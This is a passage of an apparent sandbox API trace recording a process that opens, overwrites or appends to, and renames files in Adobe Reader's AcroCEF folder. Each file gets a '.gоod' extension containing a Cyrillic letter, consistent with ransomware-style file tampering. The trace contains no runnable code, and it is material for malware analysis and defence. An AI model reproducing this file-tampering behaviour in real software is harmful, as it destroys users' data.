"c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\acrocef\\cef_200_percent.pak"), fInfoLevelId=0x0, lpFileInformation=0x336ba88 | out: lpFileInformation=0x336ba88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcce1de00, ftCreationTime.dwHighDateTime=0x1d36777, ftLastAccessTime.dwLowDateTime=0xdac77826, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xcce1de00, ftLastWriteTime.dwHighDateTime=0x1d36777, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0080.616] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bf80) returned 1 [0080.616] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\cef_200_percent.pak", nBufferLength=0x105, lpBuffer=0x1f35b950, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\cef_200_percent.pak", lpFilePart=0x0) returned 0x51 [0080.616] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35be70) returned 1 [0080.616] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\cef_200_percent.pak" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\acrocef\\cef_200_percent.pak"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0080.616] GetFileType (hFile=0x768) returned 0x1 [0080.616] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bde0) returned 1 [0080.616] GetFileType (hFile=0x768) returned 0x1 [0080.616] GetFileSize (in: hFile=0x768, lpFileSizeHigh=0x1f35c018 | out: lpFileSizeHigh=0x1f35c018*=0x0) returned 0x0 [0080.616] CloseHandle (hObject=0x768) returned 1 [0080.692] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\cef_200_percent.pak", nBufferLength=0x105, lpBuffer=0x1f35b950, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\cef_200_percent.pak", lpFilePart=0x0) returned 0x51 [0080.692] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35be70) returned 1 [0080.692] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\cef_200_percent.pak" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\acrocef\\cef_200_percent.pak"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0080.693] GetFileType (hFile=0x768) returned 0x1 [0080.693] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bde0) returned 1 [0080.693] GetFileType (hFile=0x768) returned 0x1 [0080.693] WriteFile (in: hFile=0x768, lpBuffer=0x33e2550*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f35be58, lpOverlapped=0x0 | out: lpBuffer=0x33e2550*, lpNumberOfBytesWritten=0x1f35be58*=0x10, lpOverlapped=0x0) returned 1 [0080.693] CloseHandle (hObject=0x768) returned 1 [0080.694] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\cef_200_percent.pak", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\cef_200_percent.pak", lpFilePart=0x0) returned 0x51 [0080.694] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\cef_200_percent.pak.gоod", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\cef_200_percent.pak.gоod", lpFilePart=0x0) returned 0x56 [0080.694] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bf80) returned 1 [0080.694] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\cef_200_percent.pak" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\acrocef\\cef_200_percent.pak"), fInfoLevelId=0x0, lpFileInformation=0x1f35c060 | out: lpFileInformation=0x1f35c060*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcce1de00, ftCreationTime.dwHighDateTime=0x1d36777, ftLastAccessTime.dwLowDateTime=0xdac77826, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x2c4e8afb, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x10)) returned 1 [0080.694] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bf40) returned 1 [0080.694] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\cef_200_percent.pak" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\acrocef\\cef_200_percent.pak"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\cef_200_percent.pak.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\acrocef\\cef_200_percent.pak.gоod")) returned 1 [0080.695] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\cef_extensions.pak", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\cef_extensions.pak", lpFilePart=0x0) returned 0x50 [0080.695] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bfc0) returned 1 [0080.695] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\cef_extensions.pak" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\acrocef\\cef_extensions.pak"), fInfoLevelId=0x0, lpFileInformation=0x33e3828 | out: lpFileInformation=0x33e3828*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcce1de00, ftCreationTime.dwHighDateTime=0x1d36777, ftLastAccessTime.dwLowDateTime=0xdac77826, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xcce1de00, ftLastWriteTime.dwHighDateTime=0x1d36777, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0080.999] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bf80) returned 1 [0081.942] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\cef_extensions.pak", nBufferLength=0x105, lpBuffer=0x1f35b950, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\cef_extensions.pak", lpFilePart=0x0) returned 0x50 [0081.942] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35be70) returned 1 [0081.942] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\cef_extensions.pak" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\acrocef\\cef_extensions.pak"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x778 [0081.943] GetFileType (hFile=0x778) returned 0x1 [0081.945] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bde0) returned 1 [0081.945] GetFileType (hFile=0x778) returned 0x1 [0081.945] GetFileSize (in: hFile=0x778, lpFileSizeHigh=0x1f35c018 | out: lpFileSizeHigh=0x1f35c018*=0x0) returned 0x0 [0081.945] CloseHandle (hObject=0x778) returned 1 [0082.980] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\cef_extensions.pak", nBufferLength=0x105, lpBuffer=0x1f35b950, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\cef_extensions.pak", lpFilePart=0x0) returned 0x50 [0082.980] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35be70) returned 1 [0082.980] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\cef_extensions.pak" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\acrocef\\cef_extensions.pak"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x79c [0082.981] GetFileType (hFile=0x79c) returned 0x1 [0082.981] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bde0) returned 1 [0082.981] GetFileType (hFile=0x79c) returned 0x1 [0082.981] WriteFile (in: hFile=0x79c, lpBuffer=0x3448410*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f35be58, lpOverlapped=0x0 | out: lpBuffer=0x3448410*, lpNumberOfBytesWritten=0x1f35be58*=0x10, lpOverlapped=0x0) returned 1 [0082.982] CloseHandle (hObject=0x79c) returned 1 [0082.982] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\cef_extensions.pak", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\cef_extensions.pak", lpFilePart=0x0) returned 0x50 [0082.982] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\cef_extensions.pak.gоod", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\cef_extensions.pak.gоod", lpFilePart=0x0) returned 0x55 [0082.982] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bf80) returned 1 [0082.982] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\cef_extensions.pak" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\acrocef\\cef_extensions.pak"), fInfoLevelId=0x0, lpFileInformation=0x1f35c060 | out: lpFileInformation=0x1f35c060*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcce1de00, ftCreationTime.dwHighDateTime=0x1d36777, ftLastAccessTime.dwLowDateTime=0xdac77826, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x2dad04dc, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x10)) returned 1 [0082.982] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bf40) returned 1 [0082.982] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\cef_extensions.pak" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\acrocef\\cef_extensions.pak"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\cef_extensions.pak.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\acrocef\\cef_extensions.pak.gоod")) returned 1 [0082.983] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\COPYING.LGPLv2.1.txt", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\COPYING.LGPLv2.1.txt", lpFilePart=0x0) returned 0x52 [0082.983] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bfc0) returned 1 [0082.983] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\COPYING.LGPLv2.1.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\acrocef\\copying.lgplv2.1.txt"), fInfoLevelId=0x0, lpFileInformation=0x3449738 | out: lpFileInformation=0x3449738*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72bf0d00, ftCreationTime.dwHighDateTime=0x1d28909, ftLastAccessTime.dwLowDateTime=0x190c1897, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x72bf0d00, ftLastWriteTime.dwHighDateTime=0x1d28909, nFileSizeHigh=0x0, nFileSizeLow=0x6994)) returned 1 [0082.983] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bf80) returned 1 [0082.983] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\COPYING.LGPLv2.1.txt", nBufferLength=0x105, lpBuffer=0x1f35b9a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\COPYING.LGPLv2.1.txt", lpFilePart=0x0) returned 0x52 [0082.983] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bec0) returned 1 [0082.983] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\COPYING.LGPLv2.1.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\acrocef\\copying.lgplv2.1.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x79c [0082.983] GetFileType (hFile=0x79c) returned 0x1 [0082.983] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35be30) returned 1 [0082.983] GetFileType (hFile=0x79c) returned 0x1 [0082.983] SetFilePointer (in: hFile=0x79c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f35c018*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f35c018*=0) returned 0x1000 [0082.983] ReadFile (in: hFile=0x79c, lpBuffer=0x3449ba0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f35bfe8, lpOverlapped=0x0 | out: lpBuffer=0x3449ba0*, lpNumberOfBytesRead=0x1f35bfe8*=0x1000, lpOverlapped=0x0) returned 1 [0082.986] CloseHandle (hObject=0x79c) returned 1 [0082.990] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\COPYING.LGPLv2.1.txt", nBufferLength=0x105, lpBuffer=0x1f35b9a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\COPYING.LGPLv2.1.txt", lpFilePart=0x0) returned 0x52 [0082.990] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bec0) returned 1 [0082.990] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\COPYING.LGPLv2.1.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\acrocef\\copying.lgplv2.1.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x79c [0082.990] GetFileType (hFile=0x79c) returned 0x1 [0082.990] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35be30) returned 1 [0082.990] GetFileType (hFile=0x79c) returned 0x1 [0082.990] SetFilePointer (in: hFile=0x79c, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f35c018*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f35c018*=0) returned 0x6994 [0082.990] WriteFile (in: hFile=0x79c, lpBuffer=0x344ae60*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f35bf08, lpOverlapped=0x0 | out: lpBuffer=0x344ae60*, lpNumberOfBytesWritten=0x1f35bf08*=0x10, lpOverlapped=0x0) returned 1 [0083.041] CloseHandle (hObject=0x79c) returned 1 [0083.043] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\COPYING.LGPLv2.1.txt", nBufferLength=0x105, lpBuffer=0x1f35b9a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\COPYING.LGPLv2.1.txt", lpFilePart=0x0) returned 0x52 [0083.043] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bec0) returned 1 [0083.043] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\COPYING.LGPLv2.1.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\acrocef\\copying.lgplv2.1.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x79c [0083.044] GetFileType (hFile=0x79c) returned 0x1 [0083.044] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35be30) returned 1 [0083.044] GetFileType (hFile=0x79c) returned 0x1 [0083.044] ReadFile (in: hFile=0x79c, lpBuffer=0x344d278, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f35bf98, lpOverlapped=0x0 | out: lpBuffer=0x344d278*, lpNumberOfBytesRead=0x1f35bf98*=0x1000, lpOverlapped=0x0) returned 1 [0083.426] CloseHandle (hObject=0x79c) returned 1 [0083.434] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\COPYING.LGPLv2.1.txt", nBufferLength=0x105, lpBuffer=0x1f35b9a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\COPYING.LGPLv2.1.txt", lpFilePart=0x0) returned 0x52 [0083.434] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bec0) returned 1 [0083.434] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\COPYING.LGPLv2.1.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\acrocef\\copying.lgplv2.1.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x79c [0083.434] GetFileType (hFile=0x79c) returned 0x1 [0083.434] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35be30) returned 1 [0083.434] GetFileType (hFile=0x79c) returned 0x1 [0083.434] WriteFile (in: hFile=0x79c, lpBuffer=0x329b230*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f35c048, lpOverlapped=0x0 | out: lpBuffer=0x329b230*, lpNumberOfBytesWritten=0x1f35c048*=0x1010, lpOverlapped=0x0) returned 1 [0083.434] CloseHandle (hObject=0x79c) returned 1 [0083.436] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\COPYING.LGPLv2.1.txt", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\COPYING.LGPLv2.1.txt", lpFilePart=0x0) returned 0x52 [0083.436] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\COPYING.LGPLv2.1.txt.gоod", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\COPYING.LGPLv2.1.txt.gоod", lpFilePart=0x0) returned 0x57 [0083.436] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bf80) returned 1 [0083.436] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\COPYING.LGPLv2.1.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\acrocef\\copying.lgplv2.1.txt"), fInfoLevelId=0x0, lpFileInformation=0x1f35c060 | out: lpFileInformation=0x1f35c060*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72bf0d00, ftCreationTime.dwHighDateTime=0x1d28909, ftLastAccessTime.dwLowDateTime=0x190c1897, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x2df1b34a, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x69a4)) returned 1 [0083.436] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bf40) returned 1 [0083.436] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\COPYING.LGPLv2.1.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\acrocef\\copying.lgplv2.1.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\COPYING.LGPLv2.1.txt.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\acrocef\\copying.lgplv2.1.txt.gоod")) returned 1 [0083.437] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\icudtl.dat", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\icudtl.dat", lpFilePart=0x0) returned 0x48 [0083.437] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bfc0) returned 1 [0083.437] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\icudtl.dat" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\acrocef\\icudtl.dat"), fInfoLevelId=0x0, lpFileInformation=0x32e9ba0 | out: lpFileInformation=0x32e9ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcce1de00, ftCreationTime.dwHighDateTime=0x1d36777, ftLastAccessTime.dwLowDateTime=0xdac9da78, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xcce1de00, ftLastWriteTime.dwHighDateTime=0x1d36777, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0083.437] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bf80) returned 1 [0083.437] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\icudtl.dat", nBufferLength=0x105, lpBuffer=0x1f35b950, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\icudtl.dat", lpFilePart=0x0) returned 0x48 [0083.437] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35be70) returned 1 [0083.437] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\icudtl.dat" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\acrocef\\icudtl.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x79c [0083.437] GetFileType (hFile=0x79c) returned 0x1 [0083.438] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bde0) returned 1 [0083.438] GetFileType (hFile=0x79c) returned 0x1 [0083.438] GetFileSize (in: hFile=0x79c, lpFileSizeHigh=0x1f35c018 | out: lpFileSizeHigh=0x1f35c018*=0x0) returned 0x0 [0083.438] CloseHandle (hObject=0x79c) returned 1 [0083.846] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\icudtl.dat", nBufferLength=0x105, lpBuffer=0x1f35b950, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\icudtl.dat", lpFilePart=0x0) returned 0x48 [0083.846] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35be70) returned 1 [0083.846] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\icudtl.dat" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\acrocef\\icudtl.dat"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0083.847] GetFileType (hFile=0x768) returned 0x1 [0083.847] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bde0) returned 1 [0083.847] GetFileType (hFile=0x768) returned 0x1 [0083.847] WriteFile (in: hFile=0x768, lpBuffer=0x32dbcd8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f35be58, lpOverlapped=0x0 | out: lpBuffer=0x32dbcd8*, lpNumberOfBytesWritten=0x1f35be58*=0x10, lpOverlapped=0x0) returned 1 [0083.848] CloseHandle (hObject=0x768) returned 1 [0083.848] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\icudtl.dat", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\icudtl.dat", lpFilePart=0x0) returned 0x48 [0083.848] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\icudtl.dat.gоod", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\icudtl.dat.gоod", lpFilePart=0x0) returned 0x4d [0083.848] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bf80) returned 1 [0083.848] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\icudtl.dat" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\acrocef\\icudtl.dat"), fInfoLevelId=0x0, lpFileInformation=0x1f35c060 | out: lpFileInformation=0x1f35c060*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcce1de00, ftCreationTime.dwHighDateTime=0x1d36777, ftLastAccessTime.dwLowDateTime=0xdac9da78, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x2e2fb02c, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x10)) returned 1 [0083.848] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35bf40) returned 1 [0083.848] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\icudtl.dat" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\acrocef\\icudtl.dat"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\icudtl.dat.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\acrocef\\icudtl.dat.gоod")) returned 1 [0083.849] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\LICENSE.txt", nBufferLength=0x105, lpBuffer=0x1f35baf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\LICENSE.txt", lpFilePart=0x0) returned 0x49 [0083.849] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35bfc0) returned 1 [0083.850] GetFileAttributesExW (in: lpFileName="C:\\Program Files 